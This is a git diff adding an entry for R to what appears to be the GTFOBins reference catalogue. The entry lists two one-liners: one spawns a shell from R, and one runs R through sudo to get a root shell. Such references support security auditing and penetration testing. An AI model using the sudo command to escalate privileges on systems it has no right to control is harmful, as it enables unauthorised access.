diff --git a/_gtfobins/r.md b/_gtfobins/r.md
new file mode 100644
index 0000000..d7fe1f7
--- /dev/null
+++ b/_gtfobins/r.md
@@ -0,0 +1,7 @@
+---
+functions:
+  shell:
+    - code: R --no-save -e 'system("sh")'
+  sudo:
+    - code: sudo R --no-save -e 'system("sh")'
+---